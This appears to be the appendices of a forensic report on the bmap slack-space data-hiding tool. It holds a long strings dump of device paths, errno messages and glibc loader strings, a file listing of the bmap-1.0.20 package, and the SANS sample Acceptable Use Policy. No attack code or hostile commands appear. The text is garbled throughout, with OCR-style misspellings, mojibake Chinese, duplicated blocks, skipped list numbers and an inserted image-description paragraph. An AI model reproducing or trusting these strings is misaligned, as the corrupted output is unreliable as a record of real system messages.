/dev/sdao9 /dev/sdao8 /dev/sdao7
/dev/sdai5 /dev/sdai4 /dev/sdai3
/dev/sdai2 /dev/sdai15 /dev/sdai14
/dev/sdai13 /dev/sdai12 /dev/sdai11
/dev/sdai10 /dev/sdai9 /dev/sdai8
/dev/sdai5 /dev/sdai4 /dev/sdai3
/dev/sdai2 /dev/sdai1 /dev/sdai
/dev/sdak9 /dev/sdak8 /dev/sdak7
/dev/sdak6 /dev/sdak5 /dev/sdak4
/dev/sdak3 /dev/sdak2 /dev/sdak1
/dev/sdak14 /dev/sdak13 /dev/sdak12
/dev/sdak11 /dev/sdak10 /dev/sdak9
/dev/sdak /dev/sdak8 /dev/sdak7
/dev/sdaj7 /dev/sdaj6 /dev/sdaj5
/dev/sdaj4 /dev/sdaj3 /dev/sdaj2
/dev/sdaj15 /dev/sdaj14 /dev/sdaj13
/dev/sdaj12 /dev/sdaj11 /dev/sdaj10
/dev/sdaj1 /dev/sdaj /dev/sdai9
/dev/sdai8 /dev/sdai7 /dev/sdai6
/dev/sdai5
/dev/sdai2
/dev/sdai13
/dev/sdai10
/dev/sdah9
/dev/sdah6
/dev/sdah3
/dev/sdah14
/dev/sdah11
/dev/sdah
/dev/sdag7
/dev/sdag4
/dev/sdag15
/dev/sdag12
/dev/sdag1
/dev/sdaf8
/dev/sdaf5
/dev/sdaf2
/dev/sdaf13
/dev/sdaf10
/dev/sdae9
/dev/sdae6
/dev/sdae3
/dev/sdae14
/dev/sdae11
/dev/sdae
/dev/sdab9
/dev/sdab6
/dev/sdab3
/dev/sdab14
/dev/sdab11
/dev/sdab
/dev/sdaa7
/dev/sdaa4
/dev/sdaa15
/dev/sdaa12
/dev/sdaa1
/dev/sdaa
/dev/sda5
/dev/sda2
/dev/sda13
/dev/sda10
/dev/scd7
/dev/scd4
/dev/scd1
/dev/sbpcd8
/dev/sbpcd5
<table>
<thead>
<tr>
<th>Device Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>/dev/sbpcd2</td>
</tr>
<tr>
<td>/dev/sbpcd13</td>
</tr>
<tr>
<td>/dev/sbpcd10</td>
</tr>
<tr>
<td>/dev/ram9</td>
</tr>
<tr>
<td>/dev/ram6</td>
</tr>
<tr>
<td>/dev/ram3</td>
</tr>
<tr>
<td>/dev/ram18</td>
</tr>
<tr>
<td>/dev/ram15</td>
</tr>
<tr>
<td>/dev/ram12</td>
</tr>
<tr>
<td>/dev/ram1</td>
</tr>
<tr>
<td>/dev/pf2</td>
</tr>
<tr>
<td>/dev/pdd9</td>
</tr>
<tr>
<td>/dev/pdd6</td>
</tr>
<tr>
<td>/dev/pdd3</td>
</tr>
<tr>
<td>/dev/pdd14</td>
</tr>
<tr>
<td>/dev/pdd11</td>
</tr>
<tr>
<td>/dev/pdd</td>
</tr>
<tr>
<td>/dev/pdc7</td>
</tr>
<tr>
<td>/dev/pdc4</td>
</tr>
<tr>
<td>/dev/pdc15</td>
</tr>
<tr>
<td>/dev/pdc12</td>
</tr>
<tr>
<td>/dev/pdc1</td>
</tr>
<tr>
<td>/dev/pdb8</td>
</tr>
<tr>
<td>/dev/pdb5</td>
</tr>
<tr>
<td>/dev/pdb2</td>
</tr>
<tr>
<td>/dev/pdb10</td>
</tr>
<tr>
<td>/dev/pda9</td>
</tr>
<tr>
<td>/dev/pda6</td>
</tr>
<tr>
<td>/dev/pda3</td>
</tr>
<tr>
<td>/dev/pda14</td>
</tr>
<tr>
<td>/dev/pda11</td>
</tr>
<tr>
<td>/dev/pda</td>
</tr>
<tr>
<td>/dev/pcd1</td>
</tr>
<tr>
<td>/dev/nb9</td>
</tr>
<tr>
<td>/dev/nb6</td>
</tr>
<tr>
<td>/dev/nb31</td>
</tr>
<tr>
<td>/dev/nb29</td>
</tr>
<tr>
<td>/dev/nb26</td>
</tr>
<tr>
<td>/dev/nb23</td>
</tr>
<tr>
<td>/dev/nb20</td>
</tr>
<tr>
<td>/dev/nb18</td>
</tr>
<tr>
<td>/dev/nb15</td>
</tr>
<tr>
<td>/dev/nb12</td>
</tr>
<tr>
<td>/dev/nb1</td>
</tr>
<tr>
<td>/dev/md30</td>
</tr>
<tr>
<td>/dev/md27</td>
</tr>
<tr>
<td>/dev/md24</td>
</tr>
<tr>
<td>/dev/md21</td>
</tr>
<tr>
<td>/dev/md18</td>
</tr>
<tr>
<td>/dev/mcdx</td>
</tr>
<tr>
<td>/dev/loop8</td>
</tr>
<tr>
<td>/dev/loop5</td>
</tr>
<tr>
<td>/dev/loop2</td>
</tr>
<tr>
<td>/dev/loop13</td>
</tr>
<tr>
<td>/dev/loop10</td>
</tr>
<tr>
<td>/dev/jsfd</td>
</tr>
</tbody>
</table>
/dev/hdj27     /dev/hdj26     /dev/hdj25
/dev/hdj24     /dev/hdj23     /dev/hdj22
/dev/hdj21     /dev/hdj20     /dev/hdj2
/dev/hdj19     /dev/hdj18     /dev/hdj17
/dev/hdj16     /dev/hdj15     /dev/hdj14
/dev/hdj13     /dev/hdj12     /dev/hdj11
/dev/hdj10     /dev/hdj1     /dev/hdj
/dev/hdi9      /dev/hdi8      /dev/hdi7
/dev/hdi6      /dev/hdi5      /dev/hdi4
/dev/hdi32     /dev/hdi31     /dev/hdi30
/dev/hdi3      /dev/hdi29     /dev/hdi28
/dev/hdi27     /dev/hdi26     /dev/hdi25
/dev/hdi24     /dev/hdi23     /dev/hdi22
/dev/hdi21     /dev/hdi20     /dev/hdi2
/dev/hdi19     /dev/hdi18     /dev/hdi17
/dev/hdi16     /dev/hdi15     /dev/hdi14
/dev/hdi13     /dev/hdi12     /dev/hdi11
/dev/hdi10     /dev/hdi11     /dev/hdi
/dev/hdh9      /dev/hdh8      /dev/hdh7
/dev/hdh6      /dev/hdh5      /dev/hdh4
/dev/hdh32     /dev/hdh31     /dev/hdh30
/dev/hdh3      /dev/hdh29     /dev/hdh28
/dev/hdh27     /dev/hdh26     /dev/hdh25
/dev/hdh24     /dev/hdh23     /dev/hdh22
/dev/hdh21     /dev/hdh20     /dev/hdh2
/dev/hdh19     /dev/hdh18     /dev/hdh17
/dev/hdh16     /dev/hdh15     /dev/hdh14
/dev/hdh13     /dev/hdh12     /dev/hdh11
/dev/hdh10     /dev/hdh1      /dev/hdh
/dev/hdg9      /dev/hdg8      /dev/hdg7
/dev/hdg6      /dev/hdg5      /dev/hdg4
/dev/hdg32     /dev/hdg31     /dev/hdg30
/dev/hdg3      /dev/hdg29     /dev/hdg28
/dev/hdg27     /dev/hdg26     /dev/hdg25
/dev/hdg24     /dev/hdg23     /dev/hdg22
/dev/hdg21     /dev/hdg20     /dev/hdg2
/dev/hdg19     /dev/hdg18     /dev/hdg17
/dev/hdg16     /dev/hdg15     /dev/hdg14
/dev/hdg13     /dev/hdg12     /dev/hdg11
/dev/hdg10     /dev/hdg1      /dev/hdg
/dev/hdf9      /dev/hdf8      /dev/hdf7
/dev/hdf6      /dev/hdf5      /dev/hdf4
/dev/hdf32     /dev/hdf31     /dev/hdf30
/dev/hdf3      /dev/hdf29     /dev/hdf28
/dev/hdf27     /dev/hdf26     /dev/hdf25
/dev/hdf24     /dev/hdf23     /dev/hdf22
/dev/hdf21     /dev/hdf20     /dev/hdf2
/dev/hdf19     /dev/hdf18     /dev/hdf17
/dev/hdf16     /dev/hdf15     /dev/hdf14
/dev/hdf13     /dev/hdf12     /dev/hdf11
/dev/hdf10     /dev/hdf1      /dev/hdf
/dev/hde9      /dev/hde8      /dev/hde7
/dev/hde6      /dev/hde5      /dev/hde4
/dev/hde32     /dev/hde31     /dev/hde30
/dev/hde3      /dev/hde29     /dev/hde28
/dev/hde27     /dev/hde26     /dev/hde25
/dev/hde24     /dev/hde23     /dev/hde22
<table>
<thead>
<tr>
<th>Device Path</th>
<th>Device Path</th>
<th>Device Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>/dev/fd7h360</td>
<td>/dev/fd7h1660</td>
<td>/dev/fd7h1494</td>
</tr>
<tr>
<td>/dev/fd7h1476</td>
<td>/dev/fd7h1440</td>
<td>/dev/fd7h1200</td>
</tr>
<tr>
<td>/dev/fd7d360</td>
<td>/dev/fd7CompaQ</td>
<td>/dev/fd7</td>
</tr>
<tr>
<td>/dev/fd6u830</td>
<td>/dev/fd6u820</td>
<td>/dev/fd6u800</td>
</tr>
<tr>
<td>/dev/fd6u720</td>
<td>/dev/fd6u3840</td>
<td>/dev/fd6u360</td>
</tr>
<tr>
<td>/dev/fd6u3520</td>
<td>/dev/fd6u3200</td>
<td>/dev/fd6u2880</td>
</tr>
<tr>
<td>/dev/fd6u1920</td>
<td>/dev/fd6u1840</td>
<td>/dev/fd6u1760</td>
</tr>
<tr>
<td>/dev/fd6u1743</td>
<td>/dev/fd6u1722</td>
<td>/dev/fd6u1680</td>
</tr>
<tr>
<td>/dev/fd6u1660</td>
<td>/dev/fd6u1440</td>
<td>/dev/fd6u1120</td>
</tr>
<tr>
<td>/dev/fd6u1040</td>
<td>/dev/fd6h880</td>
<td>/dev/fd6h720</td>
</tr>
<tr>
<td>/dev/fd6h420</td>
<td>/dev/fd6h410</td>
<td>/dev/fd6h360</td>
</tr>
<tr>
<td>/dev/fd6h1660</td>
<td>/dev/fd6h1494</td>
<td>/dev/fd6h1476</td>
</tr>
<tr>
<td>/dev/fd6h1440</td>
<td>/dev/fd6h1200</td>
<td>/dev/fd6d360</td>
</tr>
<tr>
<td>/dev/fd6CompaQ</td>
<td>/dev/fd6</td>
<td>/dev/fd5u830</td>
</tr>
<tr>
<td>/dev/fd5u820</td>
<td>/dev/fd5u800</td>
<td>/dev/fd5u720</td>
</tr>
<tr>
<td>/dev/fd5u3840</td>
<td>/dev/fd5u360</td>
<td>/dev/fd5u3520</td>
</tr>
<tr>
<td>/dev/fd5u3200</td>
<td>/dev/fd5u2880</td>
<td>/dev/fd5u1920</td>
</tr>
<tr>
<td>/dev/fd5u1840</td>
<td>/dev/fd5u1760</td>
<td>/dev/fd5u1743</td>
</tr>
<tr>
<td>/dev/fd5u1722</td>
<td>/dev/fd5u1680</td>
<td>/dev/fd5u1660</td>
</tr>
<tr>
<td>/dev/fd5u1440</td>
<td>/dev/fd5u1120</td>
<td>/dev/fd5u1040</td>
</tr>
<tr>
<td>/dev/fd5h880</td>
<td>/dev/fd5h720</td>
<td>/dev/fd5h420</td>
</tr>
<tr>
<td>/dev/fd5h410</td>
<td>/dev/fd5h360</td>
<td>/dev/fd5h1660</td>
</tr>
<tr>
<td>/dev/fd5h1494</td>
<td>/dev/fd5h1476</td>
<td>/dev/fd5h1440</td>
</tr>
<tr>
<td>/dev/fd5h1200</td>
<td>/dev/fd5h1360</td>
<td>/dev/fd5d360</td>
</tr>
<tr>
<td>/dev/fd5</td>
<td>/dev/fd4u830</td>
<td>/dev/fd4u820</td>
</tr>
<tr>
<td>/dev/fd4u800</td>
<td>/dev/fd4u720</td>
<td>/dev/fd4u3840</td>
</tr>
<tr>
<td>/dev/fd4u360</td>
<td>/dev/fd4u3520</td>
<td>/dev/fd4u3200</td>
</tr>
<tr>
<td>/dev/fd4u2880</td>
<td>/dev/fd4u1920</td>
<td>/dev/fd4u1840</td>
</tr>
<tr>
<td>/dev/fd4u1760</td>
<td>/dev/fd4u1743</td>
<td>/dev/fd4u1722</td>
</tr>
<tr>
<td>/dev/fd4u1680</td>
<td>/dev/fd4u1660</td>
<td>/dev/fd4u1440</td>
</tr>
<tr>
<td>/dev/fd4u1120</td>
<td>/dev/fd4u1040</td>
<td>/dev/fd4h880</td>
</tr>
<tr>
<td>/dev/fd4h720</td>
<td>/dev/fd4h420</td>
<td>/dev/fd4h410</td>
</tr>
<tr>
<td>/dev/fd4h360</td>
<td>/dev/fd4h1660</td>
<td>/dev/fd4h1494</td>
</tr>
<tr>
<td>/dev/fd4h1476</td>
<td>/dev/fd4h1440</td>
<td>/dev/fd4h1200</td>
</tr>
<tr>
<td>/dev/fd4d360</td>
<td>/dev/fd4CompaQ</td>
<td>/dev/fd4</td>
</tr>
<tr>
<td>/dev/fd3u830</td>
<td>/dev/fd3u820</td>
<td>/dev/fd3u800</td>
</tr>
<tr>
<td>/dev/fd3u720</td>
<td>/dev/fd3u3840</td>
<td>/dev/fd3u360</td>
</tr>
<tr>
<td>/dev/fd3u3520</td>
<td>/dev/fd3u3200</td>
<td>/dev/fd3u2880</td>
</tr>
<tr>
<td>/dev/fd3u1920</td>
<td>/dev/fd3u1840</td>
<td>/dev/fd3u1760</td>
</tr>
<tr>
<td>/dev/fd3u1743</td>
<td>/dev/fd3u1722</td>
<td>/dev/fd3u1680</td>
</tr>
<tr>
<td>/dev/fd3u1660</td>
<td>/dev/fd3u1440</td>
<td>/dev/fd3u1120</td>
</tr>
<tr>
<td>/dev/fd3u1040</td>
<td>/dev/fd3h880</td>
<td>/dev/fd3h720</td>
</tr>
<tr>
<td>/dev/fd3h420</td>
<td>/dev/fd3h410</td>
<td>/dev/fd3h360</td>
</tr>
<tr>
<td>/dev/fd3h1660</td>
<td>/dev/fd3h1494</td>
<td>/dev/fd3h1476</td>
</tr>
<tr>
<td>/dev/fd3h1440</td>
<td>/dev/fd3h1200</td>
<td>/dev/fd3d360</td>
</tr>
<tr>
<td>/dev/fd3h720</td>
<td>/dev/fd3h360</td>
<td>/dev/fd3h1440</td>
</tr>
<tr>
<td>/dev/fd3D720</td>
<td>/dev/fd3D360</td>
<td>/dev/fd3CompaQ</td>
</tr>
<tr>
<td>/dev/fd3</td>
<td>/dev/fd2u830</td>
<td>/dev/fd2u820</td>
</tr>
<tr>
<td>/dev/fd2u800</td>
<td>/dev/fd2u720</td>
<td>/dev/fd2u3840</td>
</tr>
<tr>
<td>/dev/fd2u360</td>
<td>/dev/fd2u3520</td>
<td>/dev/fd2u3200</td>
</tr>
<tr>
<td>/dev/fd2u2880</td>
<td>/dev/fd2u1920</td>
<td>/dev/fd2u1840</td>
</tr>
<tr>
<td>/dev/fd2u1760</td>
<td>/dev/fd2u1743</td>
<td>/dev/fd2u1722</td>
</tr>
<tr>
<td>/dev/fd2u1680</td>
<td>/dev/fd2u1660</td>
<td>/dev/fd2u1440</td>
</tr>
<tr>
<td>/dev/fd2u1120</td>
<td>/dev/fd2u1040</td>
<td>/dev/fd2h880</td>
</tr>
<tr>
<td>/dev/fd2h720</td>
<td>/dev/fd2h420</td>
<td>/dev/fd2h410</td>
</tr>
<tr>
<td>/dev/fd2h360</td>
<td>/dev/fd2h1660</td>
<td>/dev/fd2h1494</td>
</tr>
<tr>
<td>/dev/fd2h1476</td>
<td>/dev/fd2h1440</td>
<td>/dev/fd2h1200</td>
</tr>
</tbody>
</table>
Wrong medium type
No medium found
Disk quota exceeded
Remote I/O error
Is a named type file
No XENIX semaphores available
Not a XENIX named type file
Structure needs cleaning
Stale NFS file handle
Operation now in progress
Operation already in progress
No route to host
Host is down
Connection refused
Connection timed out
Network is down
Connection reset by peer
Network is unreachable
Protocol family not supported
Operation not supported
Socket type not supported
Protocol not supported
Protocol not available
Message too long
Destination address required
Too many users
Streams pipe error
Remote address changed
File descriptor in bad state
Name not unique on network
Bad message
RFS specific error
Multihop attempted
Protocol error
Communication error on send
Srmount error
Advertise error
Link has been severed
Object is remote
Package not installed
Machine is not on the network
Out of streams resources
Timer expired
No data available
Device not a stream
Bad font file format
Invalid slot
Invalid request code
No anode
Exchange full
Invalid request descriptor
Invalid exchange
Level 2 halted
No CSI structure available
Protocol driver not attached
Link number out of range
Level 2 not synchronized
No message of desired type
No locks available
Numerical result out of range
Read-only file system
File too large
Too many open files in system
Not a directory
File exists
Bad address
No child processes
Argument list too long
Interrupted system call
Operation not permitted
Cannot send after transport endpoint shutdown
Software caused connection abort
Address family not supported by protocol
Interrupted system call should be restarted
Attempting to link in too many shared libraries
Can not access a needed shared library
Numerical argument out of domain
,ccs=TRIM_THRESHOLD_
��统字节数 = %10u
最大mmap区域 = %10u
free(): invalid pointer %p!
Unknown error
out of memory [
[%d]
/proc/sys]
/apic
/pse36
/fxsr
/amd3d
/i586
/ld_preload
/ld_path
/resolv_host_conf
/tzdir
/ld_now
/etc/suid-debug
FATAL: kernel too old
Level 3 reset
Channel number out of range
Directory not empty
File name too long
Broken pipe
Illegal seek
Text file busy
Invalid argument
No such device
Device or resource busy
Permission denied
Bad file descriptor
No such device or address
No such process
Success
Transport endpoint is not connected
Network dropped connection on reset
Protocol wrong type for socket
Invalid or incomplete multibyte or wide character
.corrupted
Value too large for defined data type
Inappropriate ioctl for device
Top Pad
Mmap_threshold_
在使用字节数 = %10u
最大mmap字节数 = %10u
malloc: using debugging hooks
ANSI_X3.4-1968//TRANSLIT
 Unknown error
out of memory [%d]
/dev/console
/mtrr
/clflush
/sse2
/i386
/i686
/ld_preload
/ld_path
/hostnames
/malloc_trace
/res_options
/ld_warn
/ld_not
/malloc_check_
/proc/sys/kernel/osrelease
FATAL: kernel too old
FATAL: cannot determine library version
Unknown error
out of memory [%d]
/dev/console
/mtrr
/clflush
/sse2
/i386
/i686
/ld_preload
/ld_path
/hostnames
/malloc_trace
/res_options
/ld_warn
/ld_not
/malloc_check_
/proc/sys/kernel/osrelease
FATAL: kernel too old
FATAL: cannot determine library version
gconv --modules =INTERNAL->ucs2reverse
=INTERNAL->asciit =INTERNAL->usu2reverse
=INTERNAL->usf8 =INTERNAL->usf8
=INTERNAL->us4e =INTERNAL->usf4e
=INTERNAL->us4 =INTERNAL->usf4
UCS-2LE// ISO-10646/UCS2/ =CSASCIIT// ANSI_X3.4-1968//
IBM367// ANSI_X3.4-1968// =US-ASCITT// ANSI_X3.4-1968//
ISO-IR-6// ANSI_X3.4-1968// =ANSI_X3.4// ANSI_X3.4-1968//
OSF00010101// ISO- =OSF00010101// ISO-
10646/UCS2/ =10646/UCS2/
UCS2// ISO-10646/UCS2/ =ISO-10646/UTF8/
UTF-8// ISO-10646/UTF8/ =UTF8// ISO-10646/UTF8/
OSF00010106// ISO- =OSF00010105// ISO-
10646/UCS4/ =10646/UCS4/
UCS-4// ISO-10646/UCS4/ =alias
UNICODELITTLE// ISO- =OSF00010020// ANSI_X3.4-
10646/UCS2/ =1968//
ANSI_X3.4-1968// ANSI_X3.4- =ISO-10646/UTF-8// ISO-
1968// =10646/UTF8/
10646-1:1993// ISO- =GCONV_PATH
10646/UCS4/ =/usr/lib/gconv/gconv-
gconv
modules.cache
gconv
toupper
tolower
alpha
digit
space
print
cntrl
libc
POSIX
/usr/share/locale
POSIX
LC_COLLATE
LC_CT
YPE
LC_MONETARY
LC_NUMERIC
LC_TIME
LC_MESSAGES
LC_ALL
LC_XXX
LANGUAGE
charset=
OUTPUT_CHARSET
/help/share/locale
/locale.alias
parse error
parser stack overflow
plural=
(nil)
0123456789abcdefgijklmnopqrstuvwxyz
%m/%d/%y
%m/%d/%m/%d
%H:%M
%I:%M:%S %p
%H:%M:%S %p
%[0-9,\+]
%hu:%hu:%hu
posixrules
T2DIR
RPATH
cannot allocate name record
cannot create search list
cannot create search path
cannot create search path
cannot create search list
cannot map zero-fill pages
(%s from file
invalid ELF header
ELF file OS ABI invalid
valid file=%s
ELF file ABI version invalid
file=%s; needed by %s
find library=%s; searching
RPATH
cannot create RPATH/RPATH
cannot create search path
search path
copy
array
elf load command
descriptor
cannot create shared object
failed to map segment from
shared object
elf file data encoding not
time-endian
cannot allocate memory for
program header
elf file data encoding not
little-endian
cannot change memory
protections
dynamic: 0x%0*lx base:
0x%0*lx size: 0x%0*2x
elf file version does not
match current one
cannot open shared object
file
search cache=%s
undefined symbol:
binding file %s to %s: %s
symbol ' %s'
with link time reference
normal
DYNAMIC LINKER BUG!!!
error while loading shared
libraries
gconv_trans_context
gconv_trans_end
LC_TELEPHONE
LC_PAPER
LANG
^[yY]
%a %b %e %H:%M:%S %Z %Y
December
September
June
February
Friday
Tuesday
%p%t%g%t%m%t%f
%a%N%fN%dN%bN%N%h %e
%r%N%C-%z %T%N%c%N
i18n:1999
i18n:1999
i18n:1999
i18n:1999
i18n:1999
i18n:1999
i18n:1999
i18n:1999
+45 3122-6543
ISO/IEC 14652 i18n FDCC-set

"#%$"()*/+- .0123456789;<>?ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\^\_`abcdefghijklmnopqrstuvwxyz{|}~
kJIMN0PQRSTUVWXYZ[\]^\_abc
defghijklmnopqrstuvwxyz{"}~
uD;s
uD;e
r+[]}[]!n
I9C-

[Am-
kpnJ
C/o Keld Simonsen, Skt. Jorgens Alle 8, DK-1615
Kobenhavn V
ISO/IEC JTC1/SC22/WG20 -
internationalization

keld@dkuug.dk
Keld Simonsen

The text in the image appears to be a listing of error messages or messages related to system initialization and file operations. The messages are likely output from a debugging session or a system check. The exact context or the specific system being tested is not clear from the image alone. The text includes messages such as:

- Out of memory while initializing profiler
- cannot create scope list
- empty dynamic string token substitution
- calling fini: %s
- relocation processing: %s
- cannot make segment writable for relocation
- %s: profiler found no PLTREL in object %s
- unexpected reloc type 0x
- cannot load auxiliary `%s' because of empty dynamic string token substitution
- cannot allocate dependency list
- calling init: %s
- no version information available (required by of Verdef record of Verneed record
- cannot allocate version reference table
- weak version `inity

The text contains various error messages and warnings, indicating problems with file operations, memory allocation, and system initialization. The messages are not coherent and seem to be part of a debugging or system test environment.
Appendix B

Bmap-1.0.20.tar.gz file list

[root@localhost bin1.4]# ll -R bmap-1.0.20
bmap-1.0.20:
total 5052
-rwxr-xr-x 1 root wheel 611530 Jul 15 2003 a.out
-rwxr-xr-x 1 root wheel 510960 Jul 15 2003 bclump
-rw-r--r-- 1 root wheel 10364 May 29 2000 bclump.c
-rw-r--r-- 1 root wheel 506 Jul 15 2003 bclump-invok
-rw-r--r-- 1 root wheel 30824 Jul 15 2003 bclump.o
-rw-r--r-- 1 root wheel 6616 Oct 17 2003 blocks
-rw-r--r-- 1 root wheel 6616 Oct 17 2003 blocks.sorted
-rwxr-xr-x 1 root wheel 48746 Jul 16 2003 bmap
-rw-r--r-- 1 root wheel 13030 May 15 2000 bmap.c
-rw-r--r-- 1 root wheel 1337 Jul 15 2003 bmap-invok
-rw-r--r-- 1 root wheel 36376 Jul 15 2003 bmap.o
-rw-r--r-- 1 root wheel 15603 Jul 15 2003 bmap.uml
-rw-r--r-- 1 root wheel 12811 May 29 2000 bmap.uml.m4
drwxr-xr-x 2 root wheel 4096 Oct 17 2003 bmap-slack
-rw-r---r-- 1 root wheel 824 May 15 2000 bmap.spec
-rw-r---r-- 1 root wheel 55155 Jul 15 2003 bmap.strings
-rwxr-xr-x 1 root wheel 48746 Jul 15 2003 bmap.strip.0715
-rwxr-xr-x 1 root wheel 48746 Oct 18 2003 bmap.striped
-rw-r---r-- 1 root wheel 17159 Jul 15 2003 bmap.tex
-rw-r---r-- 1 root wheel 266 Jul 15 2003 config.h
-rw-r---r-- 1 root wheel 18008 Mar 24 2000 COPYING
-rwxr-xr-x 1 root wheel 501043 Jul 15 2003 dev_builder
-rw-r---r-- 1 root wheel 1728 Feb 24 2000 dev_builder.c
-rw-r---r-- 1 root wheel 77579 Jul 15 2003 dev_entries.c
-rw-r---r-- 1 root wheel 113856 Jul 15 2003 dev_entries.o
-rw-r---r-- 1 root wheel 0 Oct 17 2003 file_slack2
-drwxrwxr-x 2 root wheel 4096 Oct 16 2003 include
-rw-r---r-- 1 root wheel 913 Feb 14 2000 index.html
-rw-r---r-- 1 root wheel 8546 Apr 11 2000 libbmap.c
-rw-r---r-- 1 root wheel 36464 Jul 15 2003 libbmap.o
-rw-r---r-- 1 root wheel 1322 Apr 14 2000 LICENSE
-rw-r---r-- 1 root wheel 2049 Oct 17 2003 logfilebmap.out
-rw-r---r-- 1 root wheel 546815 Oct 16 2003 lostfile1
-rw-r---r-- 1 root wheel 0 Oct 17 2003 lostfilebmap.out
-rw-r---r-- 1 root wheel 101375 Oct 16 2003 lostfile2
-rw-r---r-- 1 root wheel 2392 Oct 17 2003 Makefile
-drwxrwxr-x 3 root wheel 4096 Oct 16 2003 man
-drwxrwxr-x 3 root wheel 4096 Jul 15 2003 mft
-rw-r---r-- 1 root wheel 54948 Oct 18 2003 prog.strings
-rw-r---r-- 1 root wheel 6639 May 15 2000 README
-rwxr-xr-x 1 root wheel 621860 Jul 15 2003 slacker
-rw-r---r-- 1 root wheel 8905 Apr 27 2000 slacker.c
-rw-r---r-- 1 root wheel 1029 Jul 15 2003 slacker-invok
-rw-r---r-- 1 root wheel 5517 Mar 8 2000 slacker-modules.c
-rw-r--r--  1 root  wheel  2258 Apr 25 2000 log.h
-rw-r--r--  1 root  wheel  436 Mar 8 2000 mft.h
-rw-r--r--  1 root  wheel  2955 Mar 24 2000 option.h
Appendix C

Some Company – Acceptable Use Policy

The InfoSec Acceptable Use Policy below is from the SANS “www.sans.org/resources/policies/Acceptable_Use_Policy”.

Some Company InfoSec Acceptable Use Policy13

“1.0 Overview
InfoSec's intentions for publishing an Acceptable Use Policy are not to impose restrictions that are contrary to Some Company's established culture of openness, trust and integrity. InfoSec is committed to protecting Some Company's employees, partners and the company from illegal or damaging actions by individuals, either knowingly or unknowingly. Internet/Intranet/Extranet-related systems, including but not limited to computer equipment, software, operating systems, storage media, network accounts providing electronic mail, WWW browsing, and FTP, are the property of Some Company. These systems are to be used for business purposes in serving the interests of the company, and of our clients and customers in the course of normal operations. Please review Human Resources policies for further details. Effective security is a team effort involving the participation and support of every Some Company employee and affiliate who deals with information and/or information systems. It is the responsibility of every computer user to know these guidelines, and to conduct their activities accordingly.

2.0 Purpose
The purpose of this policy is to outline the acceptable use of computer equipment at Some Company. These rules are in place to protect the employee and Some Company. Inappropriate use exposes Some Company to risks including virus attacks, compromise of network systems and services, and legal issues.

3.0 Scope
This policy applies to employees, contractors, consultants, temporaries, and other workers at Some Company, including all personnel affiliated with third parties. This policy applies to all equipment that is owned or leased by Some Company.

4.0 Policy
4.1 General Use and Ownership
1. While Some Company's network administration desires to provide a reasonable level of privacy, users should be aware that the data they create on the corporate systems remains the property of Some Company. Because of the need to protect Some Company's network, management cannot guarantee the confidentiality of information stored on any network device belonging to Some Company.
2. Employees are responsible for exercising good judgment regarding the reasonableness of personal use. Individual departments are responsible for creating guidelines concerning personal use of Internet/Intranet/Extranet systems. In the absence of such policies, employees should be guided by departmental policies on personal use, and if there is any uncertainty, employees should consult their supervisor or manager.
3. InfoSec recommends that any information that users consider sensitive or vulnerable be encrypted. For guidelines on information classification, see InfoSec's Information Sensitivity Policy. For guidelines on encrypting email and documents, go to InfoSec's Awareness Initiative.
4. For security and network maintenance purposes, authorized individuals within Some Company may monitor equipment, systems and network traffic at any time, per InfoSec's Audit Policy.

5. Some Company reserves the right to audit networks and systems on a periodic basis to ensure compliance with this policy.

4.2 Security and Proprietary Information
1. The user interface for information contained on Internet/Intranet/Extranet-related systems should be classified as either confidential or not confidential, as defined by corporate confidentiality guidelines, details of which can be found in Human Resources policies. Examples of confidential information include but are not limited to: company private, corporate strategies, competitor sensitive, trade secrets, specifications, customer lists, and research data. Employees should take all necessary steps to prevent unauthorized access to this information.
2. Keep passwords secure and do not share accounts. Authorized users are responsible for the security of their passwords and accounts. System level passwords should be changed quarterly, user level passwords should be changed every six months.
3. All PCs, laptops and workstations should be secured with a password-protected screensaver with the automatic activation feature set at 10 minutes or less, or by logging-off (control-alt-delete for Win2K users) when the host will be unattended.
4. Use encryption of information in compliance with InfoSec's Acceptable Encryption Use policy.
5. Because information contained on portable computers is especially vulnerable, special care should be exercised. Protect laptops in accordance with the “Laptop Security Tips”.
6. Postings by employees from a Some Company email address to newsgroups should contain a disclaimer stating that the opinions expressed are strictly their own and not necessarily those of Some Company, unless posting is in the course of business duties.
7. All hosts used by the employee that are connected to the Some Company Internet/Intranet/Extranet, whether owned by the employee or Some Company, shall be continually executing approved virus-scanning software with a current virus database. Unless overridden by departmental or group policy.
8. Employees must use extreme caution when opening e-mail attachments received from unknown senders, which may contain viruses, e-mail bombs, or Trojan horse code.

4.3. Unacceptable Use
The following activities are, in general, prohibited. Employees may be exempted from these restrictions during the course of their legitimate job responsibilities (e.g., systems administration staff may have a need to disable the network access of a host if that host is disrupting production services). Under no circumstances is an employee of Some Company authorized to engage in any activity that is illegal under local, state, federal or international law while utilizing Some Company-owned resources.

The lists below are by no means exhaustive, but attempt to provide a framework for activities which fall into the category of unacceptable use.

System and Network Activities
The following activities are strictly prohibited, with no exceptions:

3. Violations of the rights of any person or company protected by copyright, trade secret, patent or other intellectual property, or similar laws or regulations, including, but not limited to, the installation or distribution of “pirated” or other software products that are not appropriately licensed for use by Some Company.
4. Unauthorized copying of copyrighted material including, but not limited to, digitization and distribution of photographs from magazines, books or other copyrighted sources, copyrighted music, and the installation of any copyrighted software for which Some Company or the end user does not have an active license is strictly prohibited.
5. Exporting software, technical information, encryption software or technology, in violation of international or regional export control laws, is illegal. The appropriate management should be consulted prior to export of any material that is in question.
6. Introduction of malicious programs into the network or server (e.g., viruses, worms, Trojan horses, e-mail bombs, etc.).
7. Revealing your account password to others or allowing use of your account by others. This includes family and other household members when work is being done at home.
8. Using a Some Company computing asset to actively engage in procuring or transmitting material that is in violation of sexual harassment or hostile workplace laws in the user's local jurisdiction.
9. Making fraudulent offers of products, items, or services originating from any Some Company account.
10. Making statements about warranty, expressly or implied, unless it is a part of normal job duties.
11. Effecting security breaches or disruptions of network communication. Security breaches include, but are not limited to, accessing data of which the employee is not an intended recipient or logging into a server or account that the employee is not expressly authorized to access, unless these duties are within the scope of regular duties. For purposes of this section, “disruption” includes, but is not limited to, network sniffing, pinged floods, packet spoofing, denial of service, and forged routing information for malicious purposes.
12. Port scanning or security scanning is expressly prohibited unless prior notification to InfoSec is made.
13. Executing any form of network monitoring which will intercept data not intended for the employee's host, unless this activity is a part of the employee's normal job/duty.
14. Circumventing user authentication or security of any host, network or account.
